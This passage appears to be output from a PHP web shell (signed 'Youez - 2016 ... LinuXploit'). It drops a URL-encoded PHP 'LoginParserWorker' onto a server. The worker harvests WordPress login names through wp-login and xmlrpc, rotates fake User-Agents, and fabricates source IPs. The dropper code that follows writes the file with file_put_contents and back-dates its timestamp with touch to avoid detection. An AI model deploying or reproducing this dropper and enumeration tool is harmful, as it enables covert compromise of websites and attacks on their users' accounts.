0%20%20%20%20//%20%D0%9F%D0%B0%D1%80%D1%81%D0%B8%D0%BD%D0%B3%20%D0%B7%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%BE%D0%B2%0D%0A%20%20%20%20%20%20%20%20%24headers_parsed%20%3D%20%5B%5D%3B%0D%0A%20%20%20%20%20%20%20%20foreach%20%28explode%28%22%5Cr%5Cn%22%2C%20%24headers_raw%29%20as%20%24line%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24line%2C%20%27%3A%27%29%20%21%3D%3D%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20list%28%24key%2C%20%24value%29%20%3D%20explode%28%27%3A%27%2C%20%24line%2C%202%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24headers_parsed%5Bstrtolower%28trim%28%24key%29%29%5D%20%3D%20trim%28%24value%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27status_code%27%20%3D%3E%20%24status_code%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27headers%27%20%3D%3E%20%24headers_parsed%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27body%27%20%3D%3E%20%24body%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%98%D0%B7%D0%B2%D0%BB%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%B1%D0%B0%D0%B7%D0%BE%D0%B2%D0%BE%D0%B3%D0%BE%20URL%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20extractBaseURL%28%24url%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24patterns%20%3D%20%5B%27/wp-login.php%27%2C%20%27/xmlrpc.php%27%2C%20%27/wp-admin/%27%2C%20%27/wp-admin%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20foreach%20%28%24patterns%20as%20%24pattern%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28substr%28%24url%2C%20-strlen%28%24pattern%29%29%20%3D%3D%3D%20%24pattern%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20rtrim%28str_replace%28%24pattern%2C%20%27%27%2C%20%24url%29%2C%20%27/%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%A3%D0%B4%D0%B0%D0%BB%D1%8F%D0%B5%D0%BC%20%D0%BF%D0%B0%D1%80%D0%B0%D0%BC%D0%B5%D1%82%D1%80%D1%8B%20%D0%B8%20%D1%84%D1%80%D0%B0%D0%B3%D0%BC%D0%B5%D0%BD%D1%82%D1%8B%0D%0A%20%20%20%20%20%20%20%20%24parsed%20%3D%20parse_url%28%24url%29%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28%24parsed%20%3D%3D%3D%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20rtrim%28%24url%2C%20%27/%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24base%20%3D%20%24parsed%5B%27scheme%27%5D%20.%20%27%3A//%27%20.%20%24parsed%5B%27host%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28isset%28%24parsed%5B%27port%27%5D%29%20%26%26%20%24parsed%5B%27port%27%5D%20%21%3D%2080%20%26%26%20%24parsed%5B%27port%27%5D%20%21%3D%20443%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24base%20.%3D%20%27%3A%27%20.%20%24parsed%5B%27port%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20if%20%28isset%28%24parsed%5B%27path%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24base%20.%3D%20%24parsed%5B%27path%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20rtrim%28%24base%2C%20%27/%27%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D0%9B%D0%A3%D0%A7%D0%A8%D0%95%D0%9D%D0%9D%D0%90%D0%AF%20%D0%BD%D0%BE%D1%80%D0%BC%D0%B0%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D0%B0%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20normalizeLogin%28%24login%29%20%7B%0D%0A%20%20%20%20%20%20%20%20if%20%28empty%28%24login%29%29%20return%20null%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24login%20%3D%20trim%28%24login%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%A3%D0%B4%D0%B0%D0%BB%D1%8F%D0%B5%D0%BC%20email%20%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD%D1%8B%0D%0A%20%20%20%20%20%20%20%20if%20%28strpos%28%24login%2C%20%27%40%27%29%20%21%3D%3D%20false%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24login%20%3D%20substr%28%24login%2C%200%2C%20strpos%28%24login%2C%20%27%40%27%29%29%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%9A%D0%BE%D0%BD%D0%B2%D0%B5%D1%80%D1%82%D0%B8%D1%80%D1%83%D0%B5%D0%BC%20%D0%B2%20%D0%BD%D0%B8%D0%B6%D0%BD%D0%B8%D0%B9%20%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%0D%0A%20%20%20%20%20%20%20%20%24login%20%3D%20strtolower%28%24login%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%A3%D0%B4%D0%B0%D0%BB%D1%8F%D0%B5%D0%BC%20%D0%BF%D1%80%D0%BE%D0%B1%D0%B5%D0%BB%D1%8B%20%D0%B8%20%D0%B7%D0%B0%D0%BC%D0%B5%D0%BD%D1%8F%D0%B5%D0%BC%20%D0%B8%D1%85%20%D0%BD%D0%B0%20%D0%B4%D0%B5%D1%84%D0%B8%D1%81%D1%8B%0D%0A%20%20%20%20%20%20%20%20%24login%20%3D%20preg_replace%28%27/%5Cs%2B/%27%2C%20%27-%27%2C%20%24login%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%A3%D0%B4%D0%B0%D0%BB%D1%8F%D0%B5%D0%BC%20%D0%BD%D0%B5%D0%B4%D0%BE%D0%BF%D1%83%D1%81%D1%82%D0%B8%D0%BC%D1%8B%D0%B5%20%D1%81%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB%D1%8B%0D%0A%20%20%20%20%20%20%20%20%24login%20%3D%20preg_replace%28%27/%5B%5Ea-z0-9_-%5D/%27%2C%20%27%27%2C%20%24login%29%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%9F%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D1%8F%D0%B5%D0%BC%20%D0%B4%D0%BB%D0%B8%D0%BD%D1%83%20%D0%B8%20%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%8C%0D%0A%20%20%20%20%20%20%20%20if%20%28empty%28%24login%29%20%7C%7C%20strlen%28%24login%29%20%3C%202%20%7C%7C%20strlen%28%24login%29%20%3E%2030%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20null%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20//%20%D0%98%D0%B3%D0%BD%D0%BE%D1%80%D0%B8%D1%80%D1%83%D0%B5%D0%BC%20%D0%BE%D1%87%D0%B5%D0%B2%D0%B8%D0%B4%D0%BD%D0%BE%20%D0%BD%D0%B5%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD%D1%8B%0D%0A%20%20%20%20%20%20%20%20%24invalid_logins%20%3D%20%5B%27null%27%2C%20%27undefined%27%2C%20%27admin123%27%2C%20%27test123%27%2C%20%27user123%27%2C%20%27www%27%2C%20%27http%27%2C%20%27https%27%5D%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28in_array%28%24login%2C%20%24invalid_logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20null%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%24login%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20User-Agent%20%D1%81%20%D1%83%D0%BB%D1%83%D1%87%D1%88%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9%20%D1%80%D0%B0%D0%BD%D0%B4%D0%BE%D0%BC%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B5%D0%B9%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20getRandomUserAgent%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20if%20%28%21%28%24this-%3Eoptions%5B%27randomize_ua%27%5D%20%3F%3F%20true%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24this-%3Euser_agents%5B0%5D%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%24this-%3Euser_agents%5Barray_rand%28%24this-%3Euser_agents%29%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A1%D0%BB%D1%83%D1%87%D0%B0%D0%B9%D0%BD%D1%8B%D0%B9%20IP%20%D1%81%20%D0%B1%D0%BE%D0%BB%D0%B5%D0%B5%20%D1%80%D0%B5%D0%B0%D0%BB%D0%B8%D1%81%D1%82%D0%B8%D1%87%D0%BD%D1%8B%D0%BC%D0%B8%20%D0%B4%D0%B8%D0%B0%D0%BF%D0%B0%D0%B7%D0%BE%D0%BD%D0%B0%D0%BC%D0%B8%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20getRandomIP%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24ranges%20%3D%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%27192.168%27%2C%20rand%281%2C%20255%29%2C%20rand%281%2C%20254%29%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%2710%27%2C%20rand%280%2C%20255%29%2C%20rand%281%2C%20254%29%5D%2C%20%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%27172%27%2C%20rand%2816%2C%2031%29%2C%20rand%281%2C%20254%29%5D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%27203.0.113%27%2C%20rand%281%2C%20254%29%2C%20%27%27%5D%2C%20//%20RFC%205737%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%5B%27198.51.100%27%2C%20rand%281%2C%20254%29%2C%20%27%27%5D%2C%20//%20RFC%205737%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20%24range%20%3D%20%24ranges%5Barray_rand%28%24ranges%29%5D%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28%24range%5B2%5D%20%3D%3D%3D%20%27%27%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24range%5B0%5D%20.%20%27.%27%20.%20%24range%5B1%5D%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20return%20implode%28%27.%27%2C%20%24range%29%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%94%D0%BE%D0%B1%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%B0%20%D0%B2%20%D1%81%D1%82%D0%B0%D1%82%D0%B8%D1%81%D1%82%D0%B8%D0%BA%D1%83%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20addMethodToStats%28%24method%29%20%7B%0D%0A%20%20%20%20%20%20%20%20if%20%28%21in_array%28%24method%2C%20%24this-%3Estats%5B%27methods_used%27%5D%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Estats%5B%27methods_used%27%5D%5B%5D%20%3D%20%24method%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%98%D0%A1%D0%9F%D0%A0%D0%90%D0%92%D0%9B%D0%95%D0%9D%D0%9D%D0%9E%D0%95%20%D0%BF%D0%BE%D1%81%D1%82%D1%80%D0%BE%D0%B5%D0%BD%D0%B8%D0%B5%20%D1%80%D0%B5%D0%B7%D1%83%D0%BB%D1%8C%D1%82%D0%B0%D1%82%D0%B0%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20buildResult%28%24url%2C%20%24logins%2C%20%24methods%2C%20%24time%2C%20%24attempts%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%24confidence%20%3D%200%3B%0D%0A%20%20%20%20%20%20%20%20if%20%28%21empty%28%24logins%29%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24base_confidence%20%3D%2040%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24login_bonus%20%3D%20min%2840%2C%20count%28%24logins%29%20%2A%208%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24method_bonus%20%3D%20min%2820%2C%20count%28%24methods%29%20%2A%204%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24confidence%20%3D%20%24base_confidence%20%2B%20%24login_bonus%20%2B%20%24method_bonus%3B%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%0D%0A%20%20%20%20%20%20%20%20return%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27base_url%27%20%3D%3E%20%24url%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27logins%27%20%3D%3E%20array_values%28%24logins%29%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27methods_used%27%20%3D%3E%20%24methods%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27confidence%27%20%3D%3E%20min%28100%2C%20%24confidence%29%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27process_time%27%20%3D%3E%20round%28%24time%2C%203%29%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%27attempts%27%20%3D%3E%20%24attempts%0D%0A%20%20%20%20%20%20%20%20%5D%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%A3%D1%81%D0%BF%D0%B5%D1%88%D0%BD%D1%8B%D0%B9%20%D0%BE%D1%82%D0%B2%D0%B5%D1%82%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20sendResponse%28%24data%29%20%7B%0D%0A%20%20%20%20%20%20%20%20header%28%27Content-Type%3A%20application/json%27%29%3B%0D%0A%20%20%20%20%20%20%20%20header%28%27Cache-Control%3A%20no-cache%27%29%3B%0D%0A%20%20%20%20%20%20%20%20echo%20json_encode%28%24data%2C%20JSON_UNESCAPED_SLASHES%29%3B%0D%0A%20%20%20%20%20%20%20%20exit%3B%0D%0A%20%20%20%20%7D%0D%0A%20%20%20%20%0D%0A%20%20%20%20/%2A%2A%0D%0A%20%20%20%20%20%2A%20%D0%9E%D1%88%D0%B8%D0%B1%D0%BA%D0%B0%0D%0A%20%20%20%20%20%2A/%0D%0A%20%20%20%20private%20function%20sendError%28%24message%2C%20%24code%20%3D%20400%29%20%7B%0D%0A%20%20%20%20%20%20%20%20http_response_code%28%24code%29%3B%0D%0A%20%20%20%20%20%20%20%20header%28%27Content-Type%3A%20application/json%27%29%3B%0D%0A%20%20%20%20%20%20%20%20echo%20json_encode%28%5B%27error%27%20%3D%3E%20%24message%2C%20%27code%27%20%3D%3E%20%24code%5D%29%3B%0D%0A%20%20%20%20%20%20%20%20exit%3B%0D%0A%20%20%20%20%7D%0D%0A%7D%0D%0A%0D%0A//%20%D0%97%D0%B0%D0%BF%D1%83%D1%81%D0%BA%20%D0%B2%D0%BE%D1%80%D0%BA%D0%B5%D1%80%D0%B0%20%D1%81%20%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%BE%D0%B9%20%D0%B2%D1%81%D0%B5%D1%85%20%D0%BE%D1%88%D0%B8%D0%B1%D0%BE%D0%BA%0D%0Atry%20%7B%0D%0A%20%20%20%20%24worker%20%3D%20new%20LoginParserWorker%28%29%3B%0D%0A%20%20%20%20%24worker-%3EhandleRequest%28%29%3B%0D%0A%7D%20catch%20%28Throwable%20%24e%29%20%7B%0D%0A%20%20%20%20http_response_code%28500%29%3B%0D%0A%20%20%20%20header%28%27Content-Type%3A%20application/json%27%29%3B%0D%0A%20%20%20%20echo%20json_encode%28%5B%0D%0A%20%20%20%20%20%20%20%20%27error%27%20%3D%3E%20%27Internal%20server%20error%3A%20%27%20.%20%24e-%3EgetMessage%28%29%2C%0D%0A%20%20%20%20%20%20%20%20%27code%27%20%3D%3E%20500%2C%0D%0A%20%20%20%20%20%20%20%20%27line%27%20%3D%3E%20%24e-%3EgetLine%28%29%0D%0A%20%20%20%20%5D%29%3B%0D%0A%7D%0D%0A%3F%3E'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1754938542); } die('!ended!');

Youez - 2016 - github.com/yon3zu
LinuXploit